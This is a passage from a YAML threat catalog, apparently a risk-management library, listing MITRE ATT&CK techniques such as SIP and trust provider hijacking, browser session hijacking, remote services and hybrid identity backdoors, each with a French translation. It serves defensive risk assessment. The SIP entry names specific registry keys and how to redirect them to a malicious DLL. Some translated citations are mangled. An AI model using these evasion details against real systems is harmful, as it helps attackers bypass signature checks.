          ons en fonction du syst\xE8me d\u2019exploitation, notamment via la ligne\
          \ de commande, la modification des cl\xE9s de registre Windows et le Panneau\
          \ de configuration Windows.\n\nLa modification ou la d\xE9sactivation d\u2019\
          un pare-feu syst\xE8me peut permettre des communications C2 adverses, des\
          \ mouvements lat\xE9raux et/ou l\u2019exfiltration de donn\xE9es qui ne\
          \ seraient pas autoris\xE9s autrement. Par exemple, les adversaires peuvent\
          \ ajouter une nouvelle r\xE8gle de pare-feu pour un protocole bien connu\
          \ (tel que RDP) \xE0 l\u2019aide d\u2019un port non traditionnel et potentiellement\
          \ moins s\xE9curis\xE9 (c\u2019est-\xE0-dire [port non standard](https://attack.mitre.org/techniques/T1571)).\
          \ (R\xE9f\xE9rence : change_rdp_port_conti)\n\nLes adversaires peuvent \xE9\
          galement modifier les param\xE8tres de mise en r\xE9seau de l\u2019h\xF4\
          te qui manipulent indirectement les pare-feu du syst\xE8me, tels que la\
          \ bande passante de l\u2019interface ou les seuils de demande de connexion\
          \ r\xE9seau. (Citation : Chasseresse BlackCat) Les param\xE8tres li\xE9\
          s \xE0 l\u2019activation de l\u2019utilisation abusive de divers [Services\
          \ \xE0 distance](https://attack.mitre.org/techniques/T1021) peuvent \xE9\
          galement modifier indirectement les r\xE8gles du pare-feu.\nhttps://attack.mitre.org/techniques/T1562/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1560
    ref_id: T1560
    name: Archive Collected Data
    description: 'An adversary may compress and/or encrypt data that is collected
      prior to exfiltration. Compressing the data can help to obfuscate the collected
      data and minimize the amount of data sent over the network.(Citation: DOJ GRU
      Indictment Jul 2018) Encryption can be used to hide information that is being
      exfiltrated from detection or make exfiltration less conspicuous upon inspection
      by a defender.


      Both compression and encryption are done prior to exfiltration, and can be performed
      using a utility, 3rd party library, or custom method.

      https://attack.mitre.org/techniques/T1560'
    translations:
      fr:
        name: "Archiver les donn\xE9es collect\xE9es"
        description: "Un adversaire peut compresser et/ou chiffrer les donn\xE9es\
          \ collect\xE9es avant l\u2019exfiltration. La compression des donn\xE9es\
          \ peut aider \xE0 obscurcir les donn\xE9es collect\xE9es et \xE0 minimiser\
          \ la quantit\xE9 de donn\xE9es envoy\xE9es sur le r\xE9seau. (Citation :\
          \ Acte d\u2019accusation du DOJ GRU, juillet 2018) Le chiffrement peut \xEA\
          tre utilis\xE9 pour masquer les informations qui sont exfiltr\xE9es ou pour\
          \ rendre l\u2019exfiltration moins visible lors de l\u2019inspection par\
          \ un d\xE9fenseur.\n\nLa compression et le chiffrement sont effectu\xE9\
          s avant l\u2019exfiltration et peuvent \xEAtre effectu\xE9s \xE0 l\u2019\
          aide d\u2019un utilitaire, d\u2019une biblioth\xE8que tierce ou d\u2019\
          une m\xE9thode personnalis\xE9e.\nhttps://attack.mitre.org/techniques/T1560"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1553.003
    ref_id: T1553.003
    name: SIP and Trust Provider Hijacking
    description: "Adversaries may tamper with SIP and trust provider components to\
      \ mislead the operating system and application control tools when conducting\
      \ signature validation checks. In user mode, Windows Authenticode (Citation:\
      \ Microsoft Authenticode) digital signatures are used to verify a file's origin\
      \ and integrity, variables that may be used to establish trust in signed code\
      \ (ex: a driver with a valid Microsoft signature may be handled as safe). The\
      \ signature validation process is handled via the WinVerifyTrust application\
      \ programming interface (API) function,  (Citation: Microsoft WinVerifyTrust)\
      \ which accepts an inquiry and coordinates with the appropriate trust provider,\
      \ which is responsible for validating parameters of a signature. (Citation:\
      \ SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable\
      \ file types and corresponding signature formats, Microsoft created software\
      \ components called Subject Interface Packages (SIPs) (Citation: EduardosBlog\
      \ SIPs July 2008) to provide a layer of abstraction between API functions and\
      \ files. SIPs are responsible for enabling API functions to create, retrieve,\
      \ calculate, and verify signatures. Unique SIPs exist for most file formats\
      \ (Executable, PowerShell, Installer, etc., with catalog signing providing a\
      \ catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017))\
      \ and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps\
      \ Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002),\
      \ adversaries may abuse this architecture to subvert trust controls and bypass\
      \ security policies that allow only legitimately signed code to execute on a\
      \ system. Adversaries may hijack SIP and trust provider components to mislead\
      \ operating system and application control tools to classify malicious (or any)\
      \ code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n*\
      \ Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in\
      \ <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType\
      \ 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic\
      \ link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function,\
      \ which retrieves an encoded digital certificate from a signed file. By pointing\
      \ to a maliciously-crafted DLL with an exported function that always returns\
      \ a known good signature value (ex: a Microsoft signature for Portable Executables)\
      \ rather than the file\u2019s real signature, an adversary can apply an acceptable\
      \ signature value to all files using that SIP (Citation: GitHub SIP POC Sept\
      \ 2017) (although a hash mismatch will likely occur, invalidating the signature,\
      \ since the hash returned by the function will not match the value computed\
      \ from the file).\n* Modifying the <code>Dll</code> and <code>FuncName</code>\
      \ Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\\
      OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point\
      \ to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function,\
      \ which validates a file\u2019s computed hash against the signed hash value.\
      \ By pointing to a maliciously-crafted DLL with an exported function that always\
      \ returns TRUE (indicating that the validation was successful), an adversary\
      \ can successfully validate any file (with a legitimate signature) using that\
      \ SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously\
      \ mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could\
      \ also be redirected to a suitable exported function from an already present\
      \ DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying\
      \ the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\\\
      SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\\
      {trust provider GUID}</code> that point to the DLL providing a trust provider\u2019\
      s FinalPolicy function, which is where the decoded and parsed signature is checked\
      \ and the majority of trust decisions are made. Similar to hijacking SIP\u2019\
      s CryptSIPDllVerifyIndirectData function, this value can be redirected to a\
      \ suitable exported function from an already present DLL or a maliciously-crafted\
      \ DLL (though the implementation of a trust provider is complex).\n* **Note:**\
      \ The above hijacks are also possible without modifying the Registry via [DLL\
      \ Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\n\
      Hijacking SIP or trust provider components can also enable persistent code execution,\
      \ since these malicious components may be invoked by any application that performs\
      \ code signing or signature validation. (Citation: SpectorOps Subverting Trust\
      \ Sept 2017)\nhttps://attack.mitre.org/techniques/T1553/003"
    translations:
      fr:
        name: "D\xE9tournement de SIP et de fournisseurs de confiance"
        description: "Les adversaires peuvent alt\xE9rer les composants du SIP et\
          \ du fournisseur de confiance pour tromper le syst\xE8me d'exploitation\
          \ et les outils de contr\xF4le des applications lorsqu'ils effectuent des\
          \ contr\xF4les de validation des signatures. En mode utilisateur, les signatures\
          \ num\xE9riques Windows Authenticode (Citation : Microsoft Authenticode)\
          \ sont utilis\xE9es pour v\xE9rifier l'origine et l'int\xE9grit\xE9 d'un\
          \ fichier, variables qui peuvent \xEAtre utilis\xE9es pour \xE9tablir la\
          \ confiance dans un code sign\xE9 (ex : un pilote avec une signature Microsoft\
          \ valide peut \xEAtre consid\xE9r\xE9 comme s\xFBr). Le processus de validation\
          \ de la signature est g\xE9r\xE9 par la fonction WinVerifyTrust de l'interface\
          \ de programmation d'application (API) (Citation : Microsoft WinVerifyTrust)\
          \ qui accepte une demande et se coordonne avec le fournisseur de confiance\
          \ appropri\xE9, qui est responsable de la validation des param\xE8tres d'une\
          \ signature. (Citation : SpectorOps Subverting Trust Sept 2017)\n\nEn raison\
          \ de la diversit\xE9 des types de fichiers ex\xE9cutables et des formats\
          \ de signature correspondants, Microsoft a cr\xE9\xE9 des composants logiciels\
          \ appel\xE9s \xAB Subject Interface Packages \xBB (SIP) (Citation : EduardosBlog\
          \ SIPs July 2008) pour fournir une couche d'abstraction entre les fonctions\
          \ de l'API et les fichiers. Les SIP permettent aux fonctions API de cr\xE9\
          er, d'extraire, de calculer et de v\xE9rifier les signatures. Des SIP uniques\
          \ existent pour la plupart des formats de fichiers (Executable, PowerShell,\
          \ Installer, etc., la signature de catalogue fournissant un fourre-tout\
          \ (Citation : Microsoft Catalog Files and Signatures April 2017)) et sont\
          \ identifi\xE9s par des identifiants uniques globaux (GUID). (Citation :\
          \ SpectorOps Subverting Trust Sept 2017)\n\nComme dans le cas de [Code Signing]\
          \ (https://attack.mitre.org/techniques/T1553/002), les adversaires peuvent\
          \ abuser de cette architecture pour subvertir les contr\xF4les de confiance\
          \ et contourner les politiques de s\xE9curit\xE9 qui n'autorisent que les\
          \ codes l\xE9gitimement sign\xE9s \xE0 s'ex\xE9cuter sur un syst\xE8me.\
          \ Les adversaires peuvent d\xE9tourner les composants du SIP et du fournisseur\
          \ de confiance pour tromper le syst\xE8me d'exploitation et les outils de\
          \ contr\xF4le des applications et classer un code malveillant (ou n'importe\
          \ quel code) comme \xE9tant sign\xE9 par un fournisseur de confiance : (Citation\
          \ : SpectorOps Subverting Trust Sept 2017)\n\n* Modifier les valeurs de\
          \ registre <code>Dll</code> et <code>FuncName</code> dans <code>HKLM\\SOFTWARE[\\\
          WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\\
          {SIP_GUID}</code> qui pointent vers la biblioth\xE8que de liens dynamiques\
          \ (DLL) fournissant la fonction CryptSIPDllGetSignedDataMsg d'un SIP, qui\
          \ r\xE9cup\xE8re un certificat num\xE9rique cod\xE9 \xE0 partir d'un fichier\
          \ sign\xE9. En pointant vers une DLL malicieusement fabriqu\xE9e avec une\
          \ fonction export\xE9e qui renvoie toujours une bonne valeur de signature\
          \ connue (ex : une signature Microsoft pour les ex\xE9cutables portables)\
          \ plut\xF4t que la signature r\xE9elle du fichier, un adversaire peut appliquer\
          \ une valeur de signature acceptable \xE0 tous les fichiers utilisant ce\
          \ SIP (Citation : GitHub SIP POC Sept 2017) (bien qu'une discordance de\
          \ hachage se produira probablement, invalidant la signature, puisque le\
          \ hachage renvoy\xE9 par la fonction ne correspondra pas \xE0 la valeur\
          \ calcul\xE9e \xE0 partir du fichier).\nModifier les valeurs des registres\
          \ Dll et FuncName ii <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\\
          OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> qui\
          \ pointent vers la DLL fournissant la fonction CryptSIPDllVerifyIndirectData\
          \ d'un SIP, qui valide le hachage calcul\xE9 d'un fichier par rapport \xE0\
          \ la valeur de hachage sign\xE9e. En pointant vers une DLL malicieusement\
          \ fabriqu\xE9e avec une fonction export\xE9e qui renvoie toujours TRUE (indiquant\
          \ que la validation a r\xE9ussi), un adversaire peut valider avec succ\xE8\
          s n'importe quel fichier (avec une signature l\xE9gitime) en utilisant ce\
          \ SIP (Citation : GitHub SIP POC Sept 2017) (avec ou sans d\xE9tournement\
          \ de la fonction CryptSIPDllGetSignedDataMsg mentionn\xE9e pr\xE9c\xE9demment).\
          \ Cette valeur de registre pourrait \xE9galement \xEAtre redirig\xE9e vers\
          \ une fonction export\xE9e appropri\xE9e d'une DLL d\xE9j\xE0 pr\xE9sente,\
          \ ce qui \xE9viterait de devoir d\xE9poser et ex\xE9cuter un nouveau fichier\
          \ sur le disque.\n* Modifier les valeurs du registre des DLL et des fonctions\
          \ dans <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\\
          Trust\\FinalPolicy\\{guid du fournisseur de confiance}</code> qui pointent\
          \ vers la DLL fournissant la fonction FinalPolicy d'un fournisseur de confiance,\
          \ qui est l'endroit o\xF9 la signature d\xE9cod\xE9e et analys\xE9e est\
          \ v\xE9rifi\xE9e et o\xF9 la majorit\xE9 des d\xE9cisions de confiance sont\
          \ prises. Comme pour le d\xE9tournement de la fonction CryptSIPDllVerifyIndirectData\
          \ de SIP, cette valeur peut \xEAtre redirig\xE9e vers une fonction export\xE9\
          e appropri\xE9e d'une DLL d\xE9j\xE0 pr\xE9sente ou d'une DLL malicieusement\
          \ fabriqu\xE9e (bien que la mise en \u0153uvre d'un fournisseur de confiance\
          \ soit complexe).\n**Note:** Les d\xE9tournements ci-dessus sont \xE9galement\
          \ possibles sans modifier le registre via [DLL Search Order Hijacking] (https://attack.mitre.org/techniques/T1574/001).\n\
          \nLe d\xE9tournement de composants SIP ou de fournisseurs de confiance peut\
          \ \xE9galement permettre une ex\xE9cution de code persistante, car ces composants\
          \ malveillants peuvent \xEAtre invoqu\xE9s par toute application qui effectue\
          \ une signature de code ou une validation de signature. (Citation : SpectorOps\
          \ Subverting Trust Sept 2017)\nhttps://attack.mitre.org/techniques/T1553/003\""
  - urn: urn:intuitem:risk:threat:mitre-attack:t1185
    ref_id: T1185
    name: Browser Session Hijacking
    description: 'Adversaries may take advantage of security vulnerabilities and inherent
      functionality in browser software to change content, modify user-behaviors,
      and intercept information as part of various browser session hijacking techniques.(Citation:
      Wikipedia Man in the Browser)


      A specific example is when an adversary injects software into a browser that
      allows them to inherit cookies, HTTP sessions, and SSL client certificates of
      a user then use the browser as a way to pivot into an authenticated intranet.(Citation:
      Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based
      behaviors such as pivoting may require specific process permissions, such as
      <code>SeDebugPrivilege</code> and/or high-integrity/administrator rights.


      Another example involves pivoting browser traffic from the adversary''s browser
      through the user''s browser by setting up a proxy which will redirect web traffic.
      This does not alter the user''s traffic in any way, and the proxy connection
      can be severed as soon as the browser is closed. The adversary assumes the security
      context of whichever browser process the proxy is injected into. Browsers typically
      create a new process for each tab that is opened and permissions and certificates
      are separated accordingly. With these permissions, an adversary could potentially
      browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002)
      or webmail, that is accessible through the browser and which the browser has
      sufficient permissions. Browser pivoting may also bypass security provided by
      2-factor authentication.(Citation: cobaltstrike manual)

      https://attack.mitre.org/techniques/T1185'
    translations:
      fr:
        name: "D\xE9tournement de session de navigateur"
        description: "Les adversaires peuvent tirer parti des failles de s\xE9curit\xE9\
          \ et des fonctionnalit\xE9s inh\xE9rentes aux logiciels de navigation pour\
          \ modifier le contenu, modifier les comportements des utilisateurs et intercepter\
          \ des informations dans le cadre de diverses techniques de piratage de session\
          \ de navigateur. (citation : Wikip\xE9dia Man dans le navigateur)\n\nPar\
          \ exemple, lorsqu\u2019un adversaire injecte dans un navigateur un logiciel\
          \ qui lui permet d\u2019h\xE9riter des cookies, des sessions HTTP et des\
          \ certificats clients SSL d\u2019un utilisateur, puis d\u2019utiliser le\
          \ navigateur comme moyen de pivoter vers un intranet authentifi\xE9. (Citation\
          \ : Cobalt Strike Browser Pivot)(Citation\_: Extensions Chrome ICEBRG) L\u2019\
          ex\xE9cution de comportements bas\xE9s sur le navigateur, tels que le pivotement,\
          \ peut n\xE9cessiter des autorisations de processus sp\xE9cifiques, telles\
          \ que <code>SeDebugPrivilege</code> et/ou des droits d\u2019int\xE9grit\xE9\
          /d\u2019administrateur \xE9lev\xE9s.\n\nUn autre exemple consiste \xE0 faire\
          \ pivoter le trafic du navigateur de l\u2019adversaire vers le navigateur\
          \ de l\u2019utilisateur en mettant en place un proxy qui redirigera le trafic\
          \ Web. Cela ne modifie en rien le trafic de l\u2019utilisateur, et la connexion\
          \ proxy peut \xEAtre rompue d\xE8s que le navigateur est ferm\xE9. L\u2019\
          adversaire prend en charge le contexte de s\xE9curit\xE9 du processus de\
          \ navigateur dans lequel le proxy est inject\xE9. Les navigateurs cr\xE9\
          ent g\xE9n\xE9ralement un nouveau processus pour chaque onglet ouvert, et\
          \ les autorisations et les certificats sont s\xE9par\xE9s en cons\xE9quence.\
          \ Avec ces autorisations, un adversaire pourrait potentiellement acc\xE9\
          der \xE0 n\u2019importe quelle ressource d\u2019un intranet, telle que [Sharepoint](https://attack.mitre.org/techniques/T1213/002)\
          \ ou la messagerie Web, qui est accessible via le navigateur et pour laquelle\
          \ le navigateur dispose d\u2019autorisations suffisantes. Le pivotement\
          \ du navigateur peut \xE9galement contourner la s\xE9curit\xE9 fournie par\
          \ l\u2019authentification \xE0 2 facteurs. (Citation : manuel de frappe\
          \ de cobalt)\nhttps://attack.mitre.org/techniques/T1185"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1021
    ref_id: T1021
    name: Remote Services
    description: "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078)\
      \ to log into a service that accepts remote connections, such as telnet, SSH,\
      \ and VNC. The adversary may then perform actions as the logged-on user.\n\n\
      In an enterprise environment, servers and workstations can be organized into\
      \ domains. Domains provide centralized identity management, allowing users to\
      \ login using one set of credentials across the entire network. If an adversary\
      \ is able to obtain a set of valid domain credentials, they could login to many\
      \ different machines using remote access protocols such as secure shell (SSH)\
      \ or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet\
      \ Remote Desktop Services) They could also login to accessible SaaS or IaaS\
      \ services, such as those that federate their identities to the domain. \n\n\
      Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072)\
      \ and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021)\
      \ to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is\
      \ native software used for remote management. ARD leverages a blend of protocols,\
      \ including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the\
      \ screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004)\
      \ for secure file transfer.(Citation: Remote Management MDM macOS)(Citation:\
      \ Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin\
      \ Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code\
      \ execution and perform lateral movement. In versions of macOS prior to 10.14,\
      \ an adversary can escalate an SSH session to an ARD session which enables an\
      \ adversary to accept TCC (Transparency, Consent, and Control) prompts without\
      \ user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote\
      \ Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop\
      \ commands)\nhttps://attack.mitre.org/techniques/T1021"
    translations:
      fr:
        name: "Services \xE0 distance"
        description: "Les adversaires peuvent utiliser [Comptes valides](https://attack.mitre.org/techniques/T1078)\
          \ pour se connecter \xE0 un service qui accepte les connexions \xE0 distance,\
          \ tel que telnet, SSH et VNC. L\u2019adversaire peut alors effectuer des\
          \ actions en tant qu\u2019utilisateur connect\xE9.\n\nDans un environnement\
          \ d\u2019entreprise, les serveurs et les postes de travail peuvent \xEA\
          tre organis\xE9s en domaines. Les domaines offrent une gestion centralis\xE9\
          e des identit\xE9s, permettant aux utilisateurs de se connecter \xE0 l\u2019\
          aide d\u2019un ensemble d\u2019informations d\u2019identification sur l\u2019\
          ensemble du r\xE9seau. Si un adversaire est en mesure d\u2019obtenir un\
          \ ensemble d\u2019informations d\u2019identification de domaine valides,\
          \ il peut se connecter \xE0 de nombreuses machines diff\xE9rentes \xE0 l\u2019\
          aide de protocoles d\u2019acc\xE8s \xE0 distance tels que SSH (Secure Shell)\
          \ ou RDP (Remote Desktop Protocol). (Citation : SSH Secure Shell)(Citation\
          \ : Services de bureau \xE0 distance TechNet) Ils pourraient \xE9galement\
          \ se connecter \xE0 des services SaaS ou IaaS accessibles, tels que ceux\
          \ qui f\xE9d\xE9rent leurs identit\xE9s au domaine. \n\nLes applications\
          \ l\xE9gitimes (telles que les [Outils de d\xE9ploiement de logiciels](https://attack.mitre.org/techniques/T1072)\
          \ et d\u2019autres programmes administratifs) peuvent utiliser les [Services\
          \ \xE0 distance](https://attack.mitre.org/techniques/T1021) pour acc\xE9\
          der aux h\xF4tes distants. Par exemple, Apple Remote Desktop (ARD) sur macOS\
          \ est un logiciel natif utilis\xE9 pour la gestion \xE0 distance. ARD exploite\
          \ un m\xE9lange de protocoles, notamment [VNC](https://attack.mitre.org/techniques/T1021/005)\
          \ pour envoyer les tampons d\u2019\xE9cran et de contr\xF4le et [SSH](https://attack.mitre.org/techniques/T1021/004)\
          \ pour le transfert s\xE9curis\xE9 de fichiers. (Citation : Gestion \xE0\
          \ distance MDM macOS)(Citation : Kickstart Apple Remote Desktop commandes)(Citation\
          \ : Guide de l\u2019administrateur du bureau \xE0 distance Apple 3.3) Les\
          \ adversaires peuvent abuser d\u2019applications telles que ARD pour ex\xE9\
          cuter du code \xE0 distance et effectuer des mouvements lat\xE9raux. Dans\
          \ les versions de macOS ant\xE9rieures \xE0 la version 10.14, un adversaire\
          \ peut transformer une session SSH en une session ARD, ce qui lui permet\
          \ d\u2019accepter les invites TCC (Transparence, Consentement et Contr\xF4\
          le) sans interaction avec l\u2019utilisateur et d\u2019acc\xE9der aux donn\xE9\
          es. (Citation : FireEye 2019 Apple Remote Desktop)(Citation : Lockboxx ARD\
          \ 2019)(Citation : Kickstart Apple Remote Desktop commandes)\nhttps://attack.mitre.org/techniques/T1021"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1071.003
    ref_id: T1071.003
    name: Mail Protocols
    description: "Adversaries may communicate using application layer protocols associated\
      \ with electronic mail delivery to avoid detection/network filtering by blending\
      \ in with existing traffic. Commands to the remote system, and often the results\
      \ of those commands, will be embedded within the protocol traffic between the\
      \ client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP that carry\
      \ electronic mail may be very common in environments.  Packets produced from\
      \ these protocols may have many fields and headers in which data can be concealed.\
      \ Data could also be concealed within the email messages themselves. An adversary\
      \ may abuse these protocols to communicate with systems under their control\
      \ within a victim network while also mimicking normal, expected traffic.(Citation:\
      \ FireEye APT28)\nhttps://attack.mitre.org/techniques/T1071/003"
    translations:
      fr:
        name: Protocoles de messagerie
        description: "Les adversaires peuvent communiquer \xE0 l\u2019aide de protocoles\
          \ de couche application associ\xE9s \xE0 la distribution de courrier \xE9\
          lectronique pour \xE9viter la d\xE9tection/le filtrage du r\xE9seau en se\
          \ fondant dans le trafic existant. Les commandes adress\xE9es au syst\xE8\
          me distant, et souvent les r\xE9sultats de ces commandes, seront incorpor\xE9\
          s dans le trafic de protocole entre le client et le serveur. \n\nLes protocoles\
          \ tels que SMTP/S, POP3/S et IMAP qui transportent le courrier \xE9lectronique\
          \ peuvent \xEAtre tr\xE8s courants dans les environnements.  Les paquets\
          \ produits \xE0 partir de ces protocoles peuvent comporter de nombreux champs\
          \ et en-t\xEAtes dans lesquels les donn\xE9es peuvent \xEAtre dissimul\xE9\
          es. Les donn\xE9es peuvent \xE9galement \xEAtre dissimul\xE9es dans les\
          \ e-mails eux-m\xEAmes. Un adversaire peut abuser de ces protocoles pour\
          \ communiquer avec les syst\xE8mes sous son contr\xF4le au sein d\u2019\
          un r\xE9seau victime tout en imitant le trafic normal et attendu. (R\xE9\
          f\xE9rence : FireEye APT28)\nhttps://attack.mitre.org/techniques/T1071/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1556.007
    ref_id: T1556.007
    name: Hybrid Identity
    description: "Adversaries may patch, modify, or otherwise backdoor cloud authentication\
      \ processes that are tied to on-premises user identities in order to bypass\
      \ typical authentication mechanisms, access credentials, and enable persistent\
      \ access to accounts.  \n\nMany organizations maintain hybrid user and device\
      \ identities that are shared between on-premises and cloud-based environments.\
      \ These can be maintained in a number of ways. For example, Microsoft Entra\
      \ ID includes three options for synchronizing identities between Active Directory\
      \ and Entra ID(Citation: Azure AD Hybrid Identity):\n\n* Password Hash Synchronization\
      \ (PHS), in which a privileged on-premises account synchronizes user password\
      \ hashes between Active Directory and Entra ID, allowing authentication to Entra\
      \ ID to take place entirely in the cloud \n* Pass Through Authentication (PTA),\
      \ in which Entra ID authentication attempts are forwarded to an on-premises\
      \ PTA agent, which validates the credentials against Active Directory \n* Active\
      \ Directory Federation Services (AD FS), in which a trust relationship is established\
      \ between Active Directory and Entra ID \n\nAD FS can also be used with other\
      \ SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication\
      \ process to AD FS and receive a token containing the hybrid users\u2019 identity\
      \ and privileges. \n\nBy modifying authentication processes tied to hybrid identities,\
      \ an adversary may be able to establish persistent privileged access to cloud\
      \ resources. For example, adversaries who compromise an on-premises server running\
      \ a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService`\
      \ process that authorizes all attempts to authenticate to Entra ID, as well\
      \ as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation:\
      \ AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary\
      \ may edit the `Microsoft.IdentityServer.Servicehost` configuration file to\
      \ load a malicious DLL that generates authentication tokens for any user with\
      \ any set of claims, thereby bypassing multi-factor authentication and defined\
      \ AD FS policies.(Citation: MagicWeb)\n\nIn some cases, adversaries may be able\
      \ to modify the hybrid identity authentication process from the cloud. For example,\
      \ adversaries who compromise a Global Administrator account in an Entra ID tenant\
      \ may be able to register a new PTA agent via the web console, similarly allowing\
      \ them to harvest credentials and log into the Entra ID environment as any user.(Citation:\
      \ Mandiant Azure AD Backdoors)\nhttps://attack.mitre.org/techniques/T1556/007"
    translations:
      fr:
        name: "Identit\xE9 hybride"
        description: "Les adversaires peuvent corriger, modifier ou d\xE9tourner les\
          \ processus d\u2019authentification dans le cloud li\xE9s aux identit\xE9\
          s des utilisateurs locaux afin de contourner les m\xE9canismes d\u2019authentification\
          \ classiques, d\u2019acc\xE9der aux informations d\u2019identification et\
          \ d\u2019activer l\u2019acc\xE8s persistant aux comptes.  \n\nDe nombreuses\
          \ organisations conservent des identit\xE9s d\u2019utilisateur et d\u2019\
          appareil hybrides qui sont partag\xE9es entre les environnements sur site\
          \ et dans le cloud. Ceux-ci peuvent \xEAtre entretenus de plusieurs fa\xE7\
          ons. Par exemple, Microsoft Entra ID inclut trois options pour synchroniser\
          \ les identit\xE9s entre Active Directory et Entra ID (Citation : Azure\
          \ AD Hybrid Identity) :\n\n* Synchronisation de hachage de mot de passe\
          \ (PHS), dans laquelle un compte local privil\xE9gi\xE9 synchronise les\
          \ hachages de mot de passe de l\u2019utilisateur entre Active Directory\
          \ et Entra ID, permettant ainsi \xE0 l\u2019authentification \xE0 Entra\
          \ ID d\u2019avoir lieu enti\xE8rement dans le cloud \n* Authentification\
          \ directe (PTA), dans laquelle les tentatives d\u2019authentification Entra\
          \ ID sont transmises \xE0 un agent PTA sur site, qui valide les informations\
          \ d\u2019identification par rapport \xE0 Active Directory \n* Active Directory\
          \ Federation Services (AD FS), dans lequel une relation de confiance est\
          \ \xE9tablie entre Active Directory et Entra ID \n\nAD FS peut \xE9galement\
          \ \xEAtre utilis\xE9 avec d\u2019autres plateformes SaaS et cloud telles\
          \ qu\u2019AWS et GCP, qui transf\xE8rent le processus d\u2019authentification\
          \ \xE0 AD FS et re\xE7oivent un jeton contenant l\u2019identit\xE9 et les\
          \ privil\xE8ges des utilisateurs hybrides. \n\nEn modifiant les processus\
          \ d\u2019authentification li\xE9s aux identit\xE9s hybrides, un adversaire\
          \ peut \xEAtre en mesure d\u2019\xE9tablir un acc\xE8s privil\xE9gi\xE9\
          \ persistant aux ressources cloud. Par exemple, les adversaires qui compromettent\
          \ un serveur local ex\xE9cutant un agent PTA peuvent injecter une DLL malveillante\
          \ dans le processus \xAB AzureADConnectAuthenticationAgentService \xBB qui\
          \ autorise toutes les tentatives d\u2019authentification aupr\xE8s d\u2019\
          Entra ID et enregistre les informations d\u2019identification de l\u2019\
          utilisateur. (citation : Azure AD Connect pour les membres de l\u2019\xE9\
          quipe de lecture)(citation : AADInternals Azure AD On-Prem to Cloud) Dans\
          \ les environnements utilisant AD FS, un adversaire peut modifier le fichier\
          \ de configuration \xAB Microsoft.IdentityServer.Servicehost \xBB pour charger\
          \ une DLL malveillante qui g\xE9n\xE8re des jetons d\u2019authentification\
          \ pour tout utilisateur avec n\u2019importe quel ensemble de revendications,\
          \ contournant ainsi l\u2019authentification multifacteur et les strat\xE9\
          gies AD FS d\xE9finies. (Citation : MagicWeb)\n\nDans certains cas, les\
          \ adversaires peuvent \xEAtre en mesure de modifier le processus d\u2019\
          authentification d\u2019identit\xE9 hybride \xE0 partir du cloud. Par exemple,\
          \ les adversaires qui compromettent un compte d\u2019administrateur g\xE9\
          n\xE9ral dans un locataire Entra ID peuvent \xEAtre en mesure d\u2019inscrire\
          \ un nouvel agent PTA via la console Web, ce qui leur permet de collecter\
          \ des informations d\u2019identification et de se connecter \xE0 l\u2019\
          environnement Entra ID comme n\u2019importe quel utilisateur. (Citation\
          \ : Mandiant Azure AD Backdoors)\nhttps://attack.mitre.org/techniques/T1556/007"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1595.002
    ref_id: T1595.002
    name: Vulnerability Scanning
    description: 'Adversaries may scan victims for vulnerabilities that can be used
      during targeting. Vulnerability scans typically check if the configuration of
      a target host/application (ex: software and version) potentially aligns with
      the target of a specific exploit the adversary may seek to use.


      These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)
      that can be used to identify more commonly known, exploitable vulnerabilities.
      Vulnerability scans typically harvest running software and version numbers via
      server banners, listening ports, or other network artifacts.(Citation: OWASP
      Vuln Scanning) Information from these scans may reveal opportunities for other
      forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)
